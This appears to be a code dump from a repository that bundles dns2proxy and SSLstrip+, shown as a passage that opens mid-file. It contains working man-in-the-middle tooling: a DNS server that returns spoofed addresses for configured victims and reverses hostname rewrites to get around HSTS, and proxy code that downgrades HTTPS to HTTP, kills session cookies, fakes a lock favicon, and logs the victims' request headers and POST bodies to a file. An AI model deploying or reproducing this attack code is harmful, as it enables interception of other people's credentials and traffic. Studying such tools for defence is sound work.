DEBUGLOG('Exception...') 314 | return 0 315 | return answers 316 | 317 | 318 | def requestHandler(address, message): 319 | resp = None 320 | dosleep = False 321 | try: 322 | message_id = ord(message[0]) * 256 + ord(message[1]) 323 | DEBUGLOG('msg id = ' + str(message_id)) 324 | if message_id in serving_ids: 325 | DEBUGLOG('I am already serving this request.') 326 | return 327 | serving_ids.append(message_id) 328 | DEBUGLOG('Client IP: ' + address[0]) 329 | prov_ip = address[0] 330 | try: 331 | msg = dns.message.from_wire(message) 332 | try: 333 | op = msg.opcode() 334 | if op == 0: 335 | # standard and inverse query 336 | qs = msg.question 337 | if len(qs) > 0: 338 | q = qs[0] 339 | DEBUGLOG('request is ' + str(q)) 340 | save_req(LOGREQFILE, 'Client IP: ' + address[0] + ' request is ' + str(q) + '\n') 341 | if q.rdtype == dns.rdatatype.A: 342 | DEBUGLOG('Doing the A query....') 343 | resp, dosleep = std_A_qry(msg, prov_ip) 344 | elif q.rdtype == dns.rdatatype.PTR: 345 | #DEBUGLOG('Doing the PTR query....') 346 | resp = std_PTR_qry(msg) 347 | elif q.rdtype == dns.rdatatype.MX: 348 | DEBUGLOG('Doing the MX query....') 349 | resp = std_MX_qry(msg) 350 | elif q.rdtype == dns.rdatatype.TXT: 351 | #DEBUGLOG('Doing the TXT query....') 352 | resp = std_TXT_qry(msg) 353 | elif q.rdtype == dns.rdatatype.AAAA: 354 | #DEBUGLOG('Doing the AAAA query....') 355 | resp = std_AAAA_qry(msg) 356 | else: 357 | # not implemented 358 | resp = make_response(qry=msg, RCODE=4) # RCODE = 4 Not Implemented 359 | else: 360 | # not implemented 361 | resp = make_response(qry=msg, RCODE=4) # RCODE = 4 Not Implemented 362 | 363 | except Exception, e: 364 | DEBUGLOG('got ' + repr(e)) 365 | resp = make_response(qry=msg, RCODE=2) # RCODE = 2 Server Error 366 | DEBUGLOG('resp = ' + repr(resp.to_wire())) 367 | except Exception, e: 368 | DEBUGLOG('got ' + repr(e)) 369 | resp = make_response(id=message_id, RCODE=1) # RCODE = 1 Format Error 370 | DEBUGLOG('resp = ' + repr(resp.to_wire())) 371 | except Exception, e: 372 | # message was crap, not even the ID 373 | DEBUGLOG('got ' + repr(e)) 374 | 375 | if resp: 376 | s.sendto(resp.to_wire(), address) 377 | if dosleep: sleep(1) # Performance downgrade no tested jet 378 | 379 | 380 | def std_PTR_qry(msg): 381 | qs = msg.question 382 | DEBUGLOG( str(len(qs)) + ' questions.') 383 | iparpa = qs[0].to_text().split(' ', 1)[0] 384 | DEBUGLOG('Host: ' + iparpa) 385 | resp = make_response(qry=msg) 386 | hosts = respuestas(iparpa[:-1], 'PTR') 387 | if isinstance(hosts, numbers.Integral): 388 | DEBUGLOG('No host....') 389 | resp = make_response(qry=msg, RCODE=3) # RCODE = 3 NXDOMAIN 390 | return resp 391 | 392 | for host in hosts: 393 | DEBUGLOG('Adding ' + host.to_text()) 394 | rrset = dns.rrset.from_text(iparpa, 1000, dns.rdataclass.IN, dns.rdatatype.PTR, host.to_text()) 395 | resp.answer.append(rrset) 396 | 397 | return resp 398 | 399 | 400 | def std_MX_qry(msg): 401 | qs = msg.question 402 | DEBUGLOG(str(len(qs)) + ' questions.') 403 | iparpa = qs[0].to_text().split(' ', 1)[0] 404 | DEBUGLOG('Host: ' + iparpa) 405 | resp = make_response(qry=msg, RCODE=3) # RCODE = 3 NXDOMAIN 406 | return resp 407 | #Temporal disable MX responses 408 | resp = make_response(qry=msg) 409 | hosts = respuestas(iparpa[:-1], 'MX') 410 | if isinstance(hosts, numbers.Integral): 411 | DEBUGLOG('No host....') 412 | resp = make_response(qry=msg, RCODE=3) # RCODE = 3 NXDOMAIN 413 | return resp 414 | 415 | for host in hosts: 416 | DEBUGLOG('Adding ' + host.to_text()) 417 | rrset = dns.rrset.from_text(iparpa, 1000, dns.rdataclass.IN, dns.rdatatype.MX, host.to_text()) 418 | resp.answer.append(rrset) 419 | 420 | return resp 421 | 422 | 423 | def std_TXT_qry(msg): 424 | qs = msg.question 425 | print str(len(qs)) + ' questions.' 426 | iparpa = qs[0].to_text().split(' ', 1)[0] 427 | print 'Host: ' + iparpa 428 | resp = make_response(qry=msg) 429 | 430 | host = iparpa[:-1] 431 | punto = host.find(".") 432 | dominio = host[punto:] 433 | host = "."+host 434 | spfresponse = '' 435 | if (dominio in dominios) or (host in dominios): 436 | ttl = 1 437 | DEBUGLOG('Alert domain! (TXT) ID: ' + host) 438 | # Here the HANDLE! 439 | #os.popen("python /yowsup/yowsup-cli -c /yowsup/config -s \"Host %s\nIP %s\" > /dev/null &"%(id,prov_ip)); 440 | save_req(LOGALERTFILE, 'Alert domain! (TXT) ID: ' + host+ '\n') 441 | if host in dominios: spfresponse = "v=spf1 a:mail%s/24 mx -all "%host 442 | if dominio in dominios: spfresponse = "v=spf1 a:mail%s/24 mx -all "%dominio 443 | DEBUGLOG('Responding with SPF = ' + spfresponse) 444 | rrset = dns.rrset.from_text(iparpa, ttl, dns.rdataclass.IN, dns.rdatatype.TXT, spfresponse) 445 | resp.answer.append(rrset) 446 | return resp 447 | 448 | 449 | hosts = respuestas(iparpa[:-1], 'TXT') 450 | if isinstance(hosts, numbers.Integral): 451 | print 'No host....' 452 | resp = make_response(qry=msg, RCODE=3) # RCODE = 3 NXDOMAIN 453 | return resp 454 | 455 | for host in hosts: 456 | print 'Adding ' + host.to_text() 457 | rrset = dns.rrset.from_text(iparpa, 1000, dns.rdataclass.IN, dns.rdatatype.TXT, host.to_text()) 458 | resp.answer.append(rrset) 459 | 460 | return resp 461 | 462 | def std_SPF_qry(msg): 463 | qs = msg.question 464 | print str(len(qs)) + ' questions.' 465 | iparpa = qs[0].to_text().split(' ', 1)[0] 466 | print 'Host: ' + iparpa 467 | resp = make_response(qry=msg) 468 | 469 | # host = iparpa[:-1] 470 | # punto = host.find(".") 471 | # dominio = host[punto:] 472 | # host = "."+host 473 | # if (dominio in dominios) or (host in dominios): 474 | # ttl = 1 475 | # DEBUGLOG('Alert domain! (TXT) ID: ' + host) 476 | # # Here the HANDLE! 477 | # #os.popen("python /yowsup/yowsup-cli -c /yowsup/config -s \"Host %s\nIP %s\" > /dev/null &"%(id,prov_ip)); 478 | # save_req(LOGALERTFILE, 'Alert domain! (TXT) ID: ' + host+ '\n') 479 | # if host in dominios: spfresponse = "v=spf1 a:mail%s/24 mx -all "%host 480 | # if dominio in dominios: spfresponse = "v=spf1 a:mail%s/24 mx -all "%dominio 481 | # DEBUGLOG('Responding with SPF = ' + spfresponse) 482 | # rrset = dns.rrset.from_text(iparpa, ttl, dns.rdataclass.IN, dns.rdatatype.TXT, spfresponse) 483 | # resp.answer.append(rrset) 484 | # return resp 485 | 486 | 487 | hosts = respuestas(iparpa[:-1], 'SPF') 488 | if isinstance(hosts, numbers.Integral): 489 | print 'No host....' 490 | resp = make_response(qry=msg, RCODE=3) # RCODE = 3 NXDOMAIN 491 | return resp 492 | 493 | for host in hosts: 494 | print 'Adding ' + host.to_text() 495 | rrset = dns.rrset.from_text(iparpa, 1000, dns.rdataclass.IN, dns.rdatatype.SPF, host.to_text()) 496 | resp.answer.append(rrset) 497 | 498 | return resp 499 | 500 | def std_AAAA_qry(msg): 501 | resp = make_response(qry=msg, RCODE=3) # RCODE = 3 NXDOMAIN 502 | return resp 503 | 504 | def std_A_qry(msg, prov_ip): 505 | global consultas 506 | global ip1 507 | global ip2 508 | global fake_ips 509 | 510 | dosleep = False 511 | qs = msg.question 512 | DEBUGLOG(str(len(qs)) + ' questions.') 513 | resp = make_response(qry=msg) 514 | for q in qs: 515 | qname = q.name.to_text()[:-1] 516 | DEBUGLOG('q name = ' + qname) 517 | 518 | host = qname.lower() 519 | 520 | # dom1 = None 521 | # dominio = None 522 | 523 | # punto1 = host.rfind(".") 524 | # punto2 = host.rfind(".",0,punto1-1) 525 | 526 | # if punto1 > -1: 527 | # dom1 = host[punto1:] 528 | 529 | # if punto2 > -1: 530 | # dominio = host[punto2:] 531 | 532 | 533 | find_host = None 534 | for d in dominios: 535 | if d in host: 536 | find_host = d 537 | 538 | if (find_host is not None): 539 | ttl = 1 540 | # id = host[:punto2] 541 | # if dom1 in dominios: 542 | # id = host[:punto1] 543 | # dominio = dom1 544 | 545 | DEBUGLOG('Alert domain! ID: ' + host) 546 | # Here the HANDLE! 547 | #os.popen("python /yowsup/yowsup-cli -c /yowsup/config -s \"Host %s\nIP %s\" > /dev/null &"%(id,prov_ip)); 548 | handler_msg(host) 549 | save_req(LOGALERTFILE, 'Alert domain! ID: ' + host + '\n') 550 | 551 | if host not in spoof: 552 | DEBUGLOG('Responding with IP = ' + dominios[find_host]) 553 | rrset = dns.rrset.from_text(q.name, ttl, dns.rdataclass.IN, dns.rdatatype.A, dominios[find_host]) 554 | else: 555 | DEBUGLOG('Responding with IP = ' + spoof[host]) 556 | rrset = dns.rrset.from_text(q.name, ttl, dns.rdataclass.IN, dns.rdatatype.A, spoof[host]) 557 | 558 | resp.answer.append(rrset) 559 | return resp, dosleep 560 | 561 | if ".%s"%host in dominios: 562 | dominio = ".%s"%host 563 | ttl = 1 564 | DEBUGLOG('Responding with IP = ' + dominios[dominio]) 565 | rrset = dns.rrset.from_text(q.name, ttl, dns.rdataclass.IN, dns.rdatatype.A, dominios[dominio]) 566 | resp.answer.append(rrset) 567 | return resp, dosleep 568 | 569 | ips = respuestas(qname.lower(), 'A') 570 | if qname.lower() not in spoof and isinstance(ips, numbers.Integral): 571 | # SSLSTRIP2 transformation 572 | punto = host.find(".") 573 | dominio = host[punto:] 574 | host2 = '' 575 | if host[:5] == 'wwww.' or host[:7] == 'social.': 576 | host2 = 'www%s' % dominio 577 | elif host[:3] == 'web': 578 | host2 = host[3:] 579 | elif host[:7] == 'cuentas': 580 | host2 = 'accounts%s' % dominio 581 | elif host[:5] == 'gmail': 582 | host2 = 'mail%s' % dominio 583 | elif host == 'chatenabled.gmail.google.com': # Yes, It is ugly.... 584 | host2 = 'chatenabled.mail.google.com' 585 | if host2 != '': 586 | DEBUGLOG('SSLStrip transforming host: %s => %s ...' % (host, host2)) 587 | ips = respuestas(host2, 'A') 588 | 589 | #print '>>> Victim: %s Answer 0: %s'%(prov_ip,prov_resp) 590 | 591 | if isinstance(ips, numbers.Integral): 592 | DEBUGLOG('No host....') 593 | resp = make_response(qry=msg, RCODE=3) # RCODE = 3 NXDOMAIN 594 | return resp, dosleep 595 | 596 | prov_resp = ips[0] 597 | consultas[prov_ip] = prov_resp 598 | 599 | ttl = 1 600 | if (host not in nospoof) and (prov_ip not in nospoofto) and (len(victims) == 0 or prov_ip in victims): 601 | if host in spoof: 602 | save_req(LOGREQFILE, '!!! Specific host (' + host + ') asked....\n') 603 | for spoof_ip in spoof[host].split(","): 604 | DEBUGLOG('Adding fake IP = ' + spoof_ip) 605 | rrset = dns.rrset.from_text(q.name, 1000, dns.rdataclass.IN, dns.rdatatype.A, spoof_ip) 606 | resp.answer.append(rrset) 607 | return resp, dosleep 608 | elif Forward: 609 | consultas[prov_ip] = prov_resp 610 | #print 'DEBUG: Adding consultas[%s]=%s'%(prov_ip,prov_resp) 611 | if ip1 is not None: 612 | rrset = dns.rrset.from_text(q.name, ttl, dns.rdataclass.IN, dns.rdatatype.A, ip1) 613 | DEBUGLOG('Adding fake IP = ' + ip1) 614 | resp.answer.append(rrset) 615 | if ip2 is not None: 616 | #Sleep only when using global resquest matrix 617 | dosleep = True 618 | rrset = dns.rrset.from_text(q.name, ttl, dns.rdataclass.IN, dns.rdatatype.A, ip2) 619 | DEBUGLOG('Adding fake IP = ' + ip2) 620 | resp.answer.append(rrset) 621 | if len(fake_ips)>0: 622 | for fip in fake_ips: 623 | rrset = dns.rrset.from_text(q.name, ttl, dns.rdataclass.IN, dns.rdatatype.A, fip) 624 | DEBUGLOG('Adding fake IP = ' + fip) 625 | resp.answer.append(rrset) 626 | 627 | if not Forward and prov_ip not in nospoofto: 628 | if len(fake_ips) == 0: 629 | DEBUGLOG('No forwarding....') 630 | resp = make_response(qry=msg, RCODE=3) # RCODE = 3 NXDOMAIN 631 | elif len(fake_ips) > 0: 632 | DEBUGLOG('No forwarding (but adding fake IPs)...') 633 | for fip in fake_ips: 634 | rrset = dns.rrset.from_text(q.name, ttl, dns.rdataclass.IN, dns.rdatatype.A, fip) 635 | DEBUGLOG('Adding fake IP = ' + fip) 636 | resp.answer.append(rrset) 637 | return resp, dosleep 638 | 639 | for realip in ips: 640 | DEBUGLOG('Adding real IP = ' + realip.to_text()) 641 | rrset = dns.rrset.from_text(q.name, ttl, dns.rdataclass.IN, dns.rdatatype.A, realip.to_text()) 642 | resp.answer.append(rrset) 643 | 644 | return resp, dosleep 645 | 646 | 647 | # def std_A2_qry(msg): 648 | # qs = msg.question 649 | # DEBUGLOG(str(len(qs)) + ' questions.') 650 | # iparpa = qs[0].to_text().split(' ',1)[0] 651 | # print 'Host: '+ iparpa 652 | # resp = make_response(qry=msg) 653 | # rrset = dns.rrset.from_text(iparpa, 1000,dns.rdataclass.IN, dns.rdatatype.A, '4.4.45.4') 654 | # resp.answer.append(rrset) 655 | # return resp 656 | 657 | def std_ASPOOF_qry(msg): 658 | global spoof 659 | qs = msg.question 660 | DEBUGLOG(str(len(qs)) + ' questions.') 661 | iparpa = qs[0].to_text().split(' ', 1)[0] 662 | DEBUGLOG('Host: ' + iparpa) 663 | resp = make_response(qry=msg) 664 | 665 | for q in qs: 666 | qname = q.name.to_text()[:-1] 667 | DEBUGLOG('q name = ' + qname) + ' to resolve ' + spoof[qname] 668 | # rrset = dns.rrset.from_text(iparpa, 1000,dns.rdataclass.IN, dns.rdatatype.CNAME, 'www.facebook.com.') 669 | # resp.answer.append(rrset) 670 | # rrset = dns.rrset.from_text(iparpa, 1000,dns.rdataclass.IN, dns.rdatatype.CNAME, 'www.yahoo.com.') 671 | # resp.answer.append(rrset) 672 | # rrset = dns.rrset.from_text(iparpa, 1000,dns.rdataclass.IN, dns.rdatatype.CNAME, 'www.tuenti.com.') 673 | # resp.answer.append(rrset) 674 | # rrset = dns.rrset.from_text(iparpa, 1000,dns.rdataclass.IN, dns.rdatatype.CNAME, 'www.twitter.com.') 675 | # resp.answer.append(rrset) 676 | rrset = dns.rrset.from_text(q.name, 1000, dns.rdataclass.IN, dns.rdatatype.A, spoof[qname]) 677 | resp.answer.append(rrset) 678 | return resp 679 | 680 | 681 | def make_response(qry=None, id=None, RCODE=0): 682 | if qry is None and id is None: 683 | raise Exception, 'bad use of make_response' 684 | if qry is None: 685 | resp = dns.message.Message(id) 686 | # QR = 1 687 | resp.flags |= dns.flags.QR 688 | if RCODE != 1: 689 | raise Exception, 'bad use of make_response' 690 | else: 691 | resp = dns.message.make_response(qry) 692 | resp.flags |= dns.flags.AA 693 | resp.flags |= dns.flags.RA 694 | resp.set_rcode(RCODE) 695 | return resp 696 | 697 | 698 | process_files() 699 | Resolver.reset() 700 | Resolver.read_resolv_conf(RESOLVCONF) 701 | signal.signal(signal.SIGUSR1, SIGUSR1_handle) 702 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 703 | s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 704 | s.bind(('', 53)) 705 | if Forward: 706 | DEBUGLOG('DNS Forwarding activado....') 707 | else: 708 | DEBUGLOG('DNS Forwarding desactivado....') 709 | 710 | DEBUGLOG('binded to UDP port 53.') 711 | serving_ids = [] 712 | noserv = True 713 | 714 | if ip1 is not None and ip2 is not None and Forward: 715 | sniff = ThreadSniffer() 716 | sniff.start() 717 | 718 | while True: 719 | if noserv: 720 | DEBUGLOG('waiting requests.') 721 | 722 | try: 723 | message, address = s.recvfrom(1024) 724 | noserv = True 725 | except socket.error as (code, msg): 726 | if code != errno.EINTR: 727 | raise 728 | 729 | if noserv: 730 | DEBUGLOG('serving a request.') 731 | requestHandler(address, message) 732 | -------------------------------------------------------------------------------- /src/dns2proxy/domains.cfg: -------------------------------------------------------------------------------- 1 | .domain.com 8.8.9.9 2 | .thisisalongdomainnameasdfasdfafsd.com 178.62.64.250 3 | -------------------------------------------------------------------------------- /src/dns2proxy/nospoof.cfg: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /src/dns2proxy/nospoofto.cfg: -------------------------------------------------------------------------------- 1 | 127.0.0.1 2 | 3 | -------------------------------------------------------------------------------- /src/dns2proxy/resolv.conf: -------------------------------------------------------------------------------- 1 | nameserver 8.8.8.8 2 | -------------------------------------------------------------------------------- /src/dns2proxy/spoof.cfg: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /src/dns2proxy/victims.cfg: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /src/sslstrip2/README.md: -------------------------------------------------------------------------------- 1 | THIS IS JUST A COPY OF A FORK OF THE OFFICAL SSLSTRIP+ REPOSITORY 2 | ======== 3 | 4 | SSLstrip+ 5 | ======== 6 | 7 | This is just a mirror of the original SSLstrip+ code by Leonardo Nve, which had to be taken down because of a gag order. 8 | 9 | **For this to work you also need a DNS server that reverses the changes made by the proxy, you can find it at https://github.com/singe/dns2proxy** 10 | 11 | Description 12 | =========== 13 | 14 | This is a new version of [Moxie´s SSLstrip] (http://www.thoughtcrime.org/software/sslstrip/) with the new feature to avoid HTTP Strict Transport Security (HSTS) protection mechanism. 15 | 16 | This version changes HTTPS to HTTP as the original one plus the hostname at html code to avoid HSTS. Check my slides at BlackHat ASIA 2014 [OFFENSIVE: EXPLOITING DNS SERVERS CHANGES] (http://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) for more information. 17 | 18 | Demo video at: http://www.youtube.com/watch?v=uGBjxfizy48 19 | -------------------------------------------------------------------------------- /src/sslstrip2/build/lib.linux-i686-2.6/sslstrip/ClientRequest.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2009 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import urlparse, logging, os, sys, random, re 20 | 21 | from twisted.web.http import Request 22 | from twisted.web.http import HTTPChannel 23 | from twisted.web.http import HTTPClient 24 | 25 | from twisted.internet import ssl 26 | from twisted.internet import defer 27 | from twisted.internet import reactor 28 | from twisted.internet.protocol import ClientFactory 29 | 30 | from ServerConnectionFactory import ServerConnectionFactory 31 | from ServerConnection import ServerConnection 32 | from SSLServerConnection import SSLServerConnection 33 | from URLMonitor import URLMonitor 34 | from CookieCleaner import CookieCleaner 35 | from DnsCache import DnsCache 36 | 37 | class ClientRequest(Request): 38 | 39 | ''' This class represents incoming client requests and is essentially where 40 | the magic begins. Here we remove the client headers we dont like, and then 41 | respond with either favicon spoofing, session denial, or proxy through HTTP 42 | or SSL to the server. 43 | ''' 44 | 45 | def __init__(self, channel, queued, reactor=reactor): 46 | Request.__init__(self, channel, queued) 47 | self.reactor = reactor 48 | self.urlMonitor = URLMonitor.getInstance() 49 | self.cookieCleaner = CookieCleaner.getInstance() 50 | self.dnsCache = DnsCache.getInstance() 51 | # self.uniqueId = random.randint(0, 10000) 52 | 53 | def cleanHeaders(self): 54 | headers = self.getAllHeaders().copy() 55 | 56 | if 'accept-encoding' in headers: 57 | del headers['accept-encoding'] 58 | 59 | if 'referer' in headers: 60 | real = self.urlMonitor.real 61 | if len(real)>0: 62 | dregex = re.compile("(%s)" % "|".join(map(re.escape, real.keys()))) 63 | headers['referer'] = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), headers['referer']) 64 | 65 | if 'if-modified-since' in headers: 66 | del headers['if-modified-since'] 67 | 68 | if 'cache-control' in headers: 69 | del headers['cache-control'] 70 | 71 | if 'if-none-match' in headers: 72 | del headers['if-none-match'] 73 | 74 | if 'host' in headers: 75 | host = self.urlMonitor.URLgetRealHost("%s"%headers['host']) 76 | logging.debug("Modifing HOST header: %s -> %s"%(headers['host'],host)) 77 | headers['host'] = host 78 | headers['securelink'] = '1' 79 | self.setHeader('Host',host) 80 | 81 | return headers 82 | 83 | def getPathFromUri(self): 84 | if (self.uri.find("http://") == 0): 85 | index = self.uri.find('/', 7) 86 | return self.uri[index:] 87 | 88 | return self.uri 89 | 90 | 91 | def getPathToLockIcon(self): 92 | if os.path.exists("lock.ico"): return "lock.ico" 93 | 94 | scriptPath = os.path.abspath(os.path.dirname(sys.argv[0])) 95 | scriptPath = os.path.join(scriptPath, "../share/sslstrip/lock.ico") 96 | 97 | if os.path.exists(scriptPath): return scriptPath 98 | 99 | logging.warning("Error: Could not find lock.ico") 100 | return "lock.ico" 101 | 102 | def save_req(self,lfile,str): 103 | f = open(lfile,"a") 104 | f.write(str) 105 | f.close() 106 | 107 | def handleHostResolvedSuccess(self, address): 108 | headers = self.cleanHeaders() 109 | # for header in headers: 110 | # logging.debug("HEADER %s = %s",header,headers[header]) 111 | logging.debug("Resolved host successfully: %s -> %s" % (self.getHeader('host').lower(), address)) 112 | lhost = self.getHeader("host").lower() 113 | host = self.urlMonitor.URLgetRealHost("%s"%lhost) 114 | client = self.getClientIP() 115 | path = self.getPathFromUri() 116 | self.content.seek(0,0) 117 | postData = self.content.read() 118 | real = self.urlMonitor.real 119 | patchDict = self.urlMonitor.patchDict 120 | 121 | if len(real)>0: 122 | dregex = re.compile("(%s)" % "|".join(map(re.escape, real.keys()))) 123 | path = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), path) 124 | postData = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), postData) 125 | if len(patchDict)>0: 126 | dregex = re.compile("(%s)" % "|".join(map(re.escape, patchDict.keys()))) 127 | postData = dregex.sub(lambda x: str(patchDict[x.string[x.start() :x.end()]]), postData) 128 | 129 | url = 'http://' + host + path 130 | headers['content-length']="%d"%len(postData) 131 | 132 | self.dnsCache.cacheResolution(host, address) 133 | if (not self.cookieCleaner.isClean(self.method, client, host, headers)): 134 | logging.debug("Sending expired cookies...") 135 | self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, 136 | host, headers, path)) 137 | elif (self.urlMonitor.isSecureFavicon(client, path)): 138 | logging.debug("Sending spoofed favicon response...") 139 | self.sendSpoofedFaviconResponse() 140 | elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)): 141 | if 'securelink' in headers: 142 | del headers['securelink'] 143 | logging.debug("LEO Sending request via SSL...(%s %s)"%(client,url)) 144 | self.proxyViaSSL(address, self.method, path, postData, headers, 145 | self.urlMonitor.getSecurePort(client, url)) 146 | else: 147 | logging.debug("LEO Sending request via HTTP...") 148 | self.proxyViaHTTP(address, self.method, path, postData, headers) 149 | 150 | def handleHostResolvedError(self, error): 151 | logging.warning("Host resolution error: " + str(error)) 152 | self.finish() 153 | 154 | def resolveHost(self, host): 155 | address = self.dnsCache.getCachedAddress(host) 156 | 157 | if address != None: 158 | logging.debug("Host cached.") 159 | return defer.succeed(address) 160 | else: 161 | logging.debug("Host not cached.") 162 | return reactor.resolve(host) 163 | 164 | def process(self): 165 | host = self.urlMonitor.URLgetRealHost("%s"%self.getHeader('host')) 166 | logging.debug("Resolving host: %s" % host) 167 | deferred = self.resolveHost(host) 168 | 169 | deferred.addCallback(self.handleHostResolvedSuccess) 170 | deferred.addErrback(self.handleHostResolvedError) 171 | 172 | def proxyViaHTTP(self, host, method, path, postData, headers): 173 | connectionFactory = ServerConnectionFactory(method, path, postData, headers, self) 174 | self.save_req("debug_ssl.log",method+' http://'+host+path+'\n'+str(headers)+'\n'+postData+'\n') 175 | connectionFactory.protocol = ServerConnection 176 | self.reactor.connectTCP(host, 80, connectionFactory) 177 | 178 | def proxyViaSSL(self, host, method, path, postData, headers, port): 179 | self.save_req("debug_ssl.log",method+' https://'+host+path+'\n'+str(headers)+'\n'+postData+'\n') 180 | clientContextFactory = ssl.ClientContextFactory() 181 | connectionFactory = ServerConnectionFactory(method, path, postData, headers, self) 182 | connectionFactory.protocol = SSLServerConnection 183 | self.reactor.connectSSL(host, port, connectionFactory, clientContextFactory) 184 | 185 | def sendExpiredCookies(self, host, path, expireHeaders): 186 | self.setResponseCode(302, "Moved") 187 | self.setHeader("Connection", "close") 188 | self.setHeader("Location", "http://" + host + path) 189 | 190 | for header in expireHeaders: 191 | self.setHeader("Set-Cookie", header) 192 | 193 | self.finish() 194 | 195 | def sendSpoofedFaviconResponse(self): 196 | icoFile = open(self.getPathToLockIcon()) 197 | 198 | self.setResponseCode(200, "OK") 199 | self.setHeader("Content-type", "image/x-icon") 200 | self.write(icoFile.read()) 201 | 202 | icoFile.close() 203 | self.finish() 204 | -------------------------------------------------------------------------------- /src/sslstrip2/build/lib.linux-i686-2.6/sslstrip/CookieCleaner.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2004-2011 Moxie Marlinspike 2 | # 3 | # This program is free software; you can redistribute it and/or 4 | # modify it under the terms of the GNU General Public License as 5 | # published by the Free Software Foundation; either version 3 of the 6 | # License, or (at your option) any later version. 7 | # 8 | # This program is distributed in the hope that it will be useful, but 9 | # WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 11 | # General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with this program; if not, write to the Free Software 15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 16 | # USA 17 | # 18 | 19 | import logging 20 | import string 21 | 22 | class CookieCleaner: 23 | '''This class cleans cookies we haven't seen before. The basic idea is to 24 | kill sessions, which isn't entirely straight-forward. Since we want this to 25 | be generalized, there's no way for us to know exactly what cookie we're trying 26 | to kill, which also means we don't know what domain or path it has been set for. 27 | 28 | The rule with cookies is that specific overrides general. So cookies that are 29 | set for mail.foo.com override cookies with the same name that are set for .foo.com, 30 | just as cookies that are set for foo.com/mail override cookies with the same name 31 | that are set for foo.com/ 32 | 33 | The best we can do is guess, so we just try to cover our bases by expiring cookies 34 | in a few different ways. The most obvious thing to do is look for individual cookies 35 | and nail the ones we haven't seen coming from the server, but the problem is that cookies are often 36 | set by Javascript instead of a Set-Cookie header, and if we block those the site 37 | will think cookies are disabled in the browser. So we do the expirations and whitlisting 38 | based on client,server tuples. The first time a client hits a server, we kill whatever 39 | cookies we see then. After that, we just let them through. Not perfect, but pretty effective. 40 | 41 | ''' 42 | 43 | _instance = None 44 | 45 | def getInstance(): 46 | if CookieCleaner._instance == None: 47 | CookieCleaner._instance = CookieCleaner() 48 | 49 | return CookieCleaner._instance 50 | 51 | getInstance = staticmethod(getInstance) 52 | 53 | def __init__(self): 54 | self.cleanedCookies = set(); 55 | self.enabled = False 56 | 57 | def setEnabled(self, enabled): 58 | self.enabled = enabled 59 | 60 | def isClean(self, method, client, host, headers): 61 | if method == "POST": return True 62 | if not self.enabled: return True 63 | if not self.hasCookies(headers): return True 64 | 65 | return (client, self.getDomainFor(host)) in self.cleanedCookies 66 | 67 | def getExpireHeaders(self, method, client, host, headers, path): 68 | domain = self.getDomainFor(host) 69 | self.cleanedCookies.add((client, domain)) 70 | 71 | expireHeaders = [] 72 | 73 | for cookie in headers['cookie'].split(";"): 74 | cookie = cookie.split("=")[0].strip() 75 | expireHeadersForCookie = self.getExpireCookieStringFor(cookie, host, domain, path) 76 | expireHeaders.extend(expireHeadersForCookie) 77 | 78 | return expireHeaders 79 | 80 | def hasCookies(self, headers): 81 | return 'cookie' in headers 82 | 83 | def getDomainFor(self, host): 84 | hostParts = host.split(".") 85 | return "." + hostParts[-2] + "." + hostParts[-1] 86 | 87 | def getExpireCookieStringFor(self, cookie, host, domain, path): 88 | pathList = path.split("/") 89 | expireStrings = list() 90 | 91 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + domain + 92 | ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") 93 | 94 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + host + 95 | ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") 96 | 97 | if len(pathList) > 2: 98 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" + 99 | domain + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") 100 | 101 | expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" + 102 | host + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n") 103 | 104 | return expireStrings 105 | 106 | 107 | -------------------------------------------------------------------------------- /src/sslstrip2/build/lib.linux-i686-2.6/sslstrip/DnsCache.py: -------------------------------------------------------------------------------- 1 | 2 | class DnsCache: 3 | 4 | ''' 5 | The DnsCache maintains a cache of DNS lookups, mirroring the browser experience. 6 | ''' 7 | 8 | _instance = None 9 | 10 | def __init__(self): 11 | self.cache = {} 12 | 13 | def cacheResolution(self, host, address): 14 | self.cache[host] = address 15 | 16 | def getCachedAddress(self, host): 17 | if host in self.cache: 18 | return self.cache[host] 19 | 20 | return None 21 | 22 | def getInstance(): 23 | if DnsCache._instance == None: 24 | DnsCache._instance = DnsCache() 25 | 26 | return DnsCache._instance 27 | 28 | getInstance = staticmethod(getInstance) 29 | -------------------------------------------------------------------------------- 